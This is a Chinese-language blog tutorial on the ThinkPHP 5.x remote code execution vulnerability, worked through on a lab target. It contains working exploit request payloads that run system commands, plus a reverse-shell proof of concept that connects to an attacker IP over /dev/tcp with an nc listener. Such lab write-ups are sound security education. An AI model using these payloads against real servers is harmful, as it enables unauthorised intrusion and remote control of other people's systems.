热门框架漏洞--ThinkPHP代码执行

一、ThinkPHP

ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的

ThinkPHP发展至今,核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。

其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户

二、ThinkPHP远程代码执行

1、漏洞范围

5.x < 5.1.31

2、漏洞成因

该漏洞出现的原因在于ThinkPHP5框架底层对控制器名过滤不严,从而让攻击者可以通过url调用到ThinkPHP框架内部的敏感函数,进而导致getshell漏洞

3、靶场练习(5.0.23)

①手动

windows
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
  • _method=__construct 为了能够进入construct,从而覆盖变量
  • method=get 因为captcha的路由规则是get方式下的,所以我们得让method为get,才能获取到captcha的路由
  • s=captcha 因为在进入exec函数后我们要switch到method中执行param函数,而这个captcha的路由刚好对应类型为method,所以我们选择captcha
  • filter[]=system 覆盖变量
  • get[]=whoami 覆盖变量

Linux
_method=__construct&filter[]=system&method=get&get[]=pwd

②工具(LiqunKit_1.5)

漏洞验证

漏洞利用

4、反弹shell

①反弹shell概念

就是控制端监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell差不多对应,本质上是网络概念的客户端与服务端的角色反转

反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入

②poc

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=/bin/bash+-c+"bash+-i+>%26+/dev/tcp/192.168.111.129/9999+0>%261"
  • /bin/bash -c: 这是在Linux中执行一个shell命令的标准方式
  • bash -i: 这会启动一个交互式的Bash shell
  • >& /dev/tcp/192.168.111.129/9999 0>&1: 这部分是一个用于将输出和输入重定向到指定IP地址和端口的命令,实现了远程连接
  • 192.168.111.129:攻击机IP
  • 9999:监听端口

③复现

打开监听端口

nc -lvvp 9999

提交poc

反弹shell成功

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值